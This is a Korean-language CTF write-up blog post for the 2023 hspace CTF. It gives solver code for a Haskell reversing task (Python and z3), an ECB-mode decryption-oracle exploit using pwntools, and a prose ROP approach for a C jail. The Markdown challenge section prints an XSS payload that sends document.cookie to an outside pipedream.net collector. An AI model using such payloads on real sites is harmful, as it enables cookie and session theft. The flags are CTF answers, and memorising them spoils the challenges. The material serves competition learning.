CTF Writeup

2023 hspace CTF

LittleDev0617 2023. 9. 1. 11:28

1. easy_rev

import Data.Bits (xor)
import Data.Word (Word8)

main :: IO ()
main = do
    let v1 = "Hacker_space"
    v2 <- getLine
    case f1 v2 of
        Left v3 -> putStrLn v3
        Right v3 -> f2 v1 v3

f1 :: String -> Either String [Word8]
f1 a1 = do
    let v1 = map (fromIntegral . fromEnum) a1
    if length v1 == 43
        then Right v1
        else Left "Nah."

f2 :: String -> [Word8] -> IO ()
f2 a1 a2 = do
    let v1 = [18, 22, 16, 34, 14, 19, 36, 32, 5, 8, 26, 3, 9, 23, 2, 41, 30, 11, 15, 1, 28, 20, 0, 31, 38, 27, 29, 35, 10, 25, 39, 33, 6, 4, 37, 21, 40, 12, 13, 24, 17, 42, 7]
    let v2 = [90, 8, 94, 50, 123, 73, 62, 38, 5, 11, 8, 60, 22, 119, 55, 19, 8, 101, 66, 5, 24, 117, 38, 52, 44, 53, 12, 36, 15, 8, 38, 13, 62, 23, 0, 55, 22, 13, 37, 56, 31, 40, 12]
    let v3 = length a2
    let v4 = cycle $ map (fromIntegral . fromEnum) a1
    let v5 = f3 a2 v4 v3
    let v6 = f4 v5
    let v7 = [v6 !! v4 | v4 <- v1, v4 < v3]

    let v8 = and $ zipWith (==) v2 v7
    if v8
        then putStrLn "Congratulation!!"
        else putStrLn "Nah."

f3 :: [Word8] -> [Word8] -> Int -> [Word8]
f3 a1 a2 a3 = zipWith xor a1 (cycle $ take a3 a2)

f4 :: [Word8] -> [Word8]
f4 a1 = zipWith xor a1 (drop 4 (cycle a1))

하스켈 코드가 주어진다.

from itertools import cycle

def check():
    v1 = [18, 22, 16, 34, 14, 19, 36, 32, 5, 8, 26, 3, 9, 23, 2, 41, 30, 11, 15, 1, 28, 20, 0, 31, 38, 27, 29, 35, 10, 25, 39, 33, 6, 4, 37, 21, 40, 12, 13, 24, 17, 42, 7]
    v2 = [90, 8, 94, 50, 123, 73, 62, 38, 5, 11, 8, 60, 22, 119, 55, 19, 8, 101, 66, 5, 24, 117, 38, 52, 44, 53, 12, 36, 15, 8, 38, 13, 62, 23, 0, 55, 22, 13, 37, 56, 31, 40, 12]

    key = b'Hacker_space'
    flag = b'a'*43

    v5 = bytes([x ^ y for x, y in zip(cycle(key), flag)])
    print(v5.hex())
    v6 = [x ^ y for x, y in zip(v5, v5[4:] + v5[:4])]    
    v7 = [v6[x] for x in v1 if x < len(flag)]

    return v7
    assert(v7 == v2)

from z3 import *

def get_flag():
    v1 = [18, 22, 16, 34, 14, 19, 36, 32, 5, 8, 26, 3, 9, 23, 2, 41, 30, 11, 15, 1, 28, 20, 0, 31, 38, 27, 29, 35, 10, 25, 39, 33, 6, 4, 37, 21, 40, 12, 13, 24, 17, 42, 7]
    v2 = [90, 8, 94, 50, 123, 73, 62, 38, 5, 11, 8, 60, 22, 119, 55, 19, 8, 101, 66, 5, 24, 117, 38, 52, 44, 53, 12, 36, 15, 8, 38, 13, 62, 23, 0, 55, 22, 13, 37, 56, 31, 40, 12]
    key = b'Hacker_space'

    v7 = v2
    v6 = [0] * 43
    for i in range(43):
        v6[v1[i]] = v7[i]
    
    s = Solver()
    x = BitVec('x', 43 * 8)
    s.add(RotateLeft(x, 4*8) ^ x == int.from_bytes(v6, 'big'))
    
    while s.check() == sat:        
        v5 = int(str(s.model()).split('x = ')[1].split("]")[0]).to_bytes(43)     
        flag = bytes([x ^ y for x, y in zip(cycle(key), v5)])

        if b'hspace' in flag:
            print(flag)
            return
        s.add(x != int.from_bytes(v5, 'big'))
check()
get_flag()

flag : hspace{Easy_Rev4rS1n9_W1th_Haskell_Grammar}
 

2. Markdown generator

markdown 부분만 %- 로 되어 있어 html escape가 안된다.

html -> markdown 으로 바꿔주기 위해 Turndown 을 사용한다.

Turndown 코드를 보면 inlineLink 를 위와 같이 처리하는데, 이때 href에 <script> 와 같은 html을 넣으면 xss가 된다.

<a href="<script>location.href=' https://eovkz3kzqa6tmyf.m.pipedream.net/'+document.cookie </script>"></a>

flag : hspace{f223deaef48ab0383a99207c99cfc83c00fc0ed2673f9a}
 

3. Insecure Mode 1 

dec 모드에서 ct == enc_secret 으로 비교를 한다. 그냥 enc_secret 뒤에 임의 enc 값 붙인 후 dec 하면 secret을 얻을 수 있다.

from pwn import *
context.log_level = 'debug'
p = remote('cat.moe', 8006)
p.recvuntil(b'Encrypted secret : ')
enc_secret = p.recvuntil(b'\nY')[:-1].strip()

p.recvuntil(b'inp > ')
p.sendline(b'enc')
p.recvuntil(b'pt(hex) > ')
p.sendline(b'ab')
c1 = p.recvline().strip()

p.recvuntil(b'inp > ')
p.sendline(b'dec')
p.recvuntil(b'ct(hex) > ')
p.sendline(enc_secret + c1)
d1 = p.recvline().strip()

secret = d1[:-17*2]
print(secret)
p.recvuntil(b'inp > ')
p.sendline(b'secret')
p.recvuntil(b'secret(hex) > ')
p.sendline(secret)

p.interactive()

flag : hspace{ECB_M0D3_is_insecure_m0d3!!Let's_try_"Insecure Mode 2"}
 
 
 


대회 이후 푼 문제
 

- CHAmpionJail

대회 1분전에 cat /flag로 바꾸다가 스택 꼬이고 해서 대회 종료 후 5분 후에 풀엇다.

C code를 주면 pycparser로 파싱해서 FORBIDDEN_CONSTRUCTS 에 속하는 구문이 있는지 검사한다. 통과되면 컴파일하고 실행까지 시켜준다. 
 일단 pycparser의 특징을 보니까 # 전처리기를 사용하지 못하는 것 같다. ( 하려면 추가 설정이 필요한데 해당 문제는 없음) 애초에 Func call 이 막혀있기 때문에 라이브러리를 include 해도 사용 못하는건데, 이럴 때 쓰라고 배운게 ROP 아닌가.

ret 에 있는 libc_start_ret 구하고 해당 문제에서 도커를 제공해주었기 때문에 Ubuntu 20.04 offset 으로 다 써주면 system("cat /flag") 를 사용할 수 있다.

'CTF Writeup' 카테고리의 다른 글

safe-compiler / C jail Trick  (1) 2023.11.27
2023 WACON Qual - Adult Artist  (2) 2023.09.03
2023 Bauhinia CTF - Very Simplified RPG  (1) 2023.08.21
2023 SSTF - Dusty Code  (0) 2023.08.21
2023 SSTF - Libreria  (0) 2023.08.21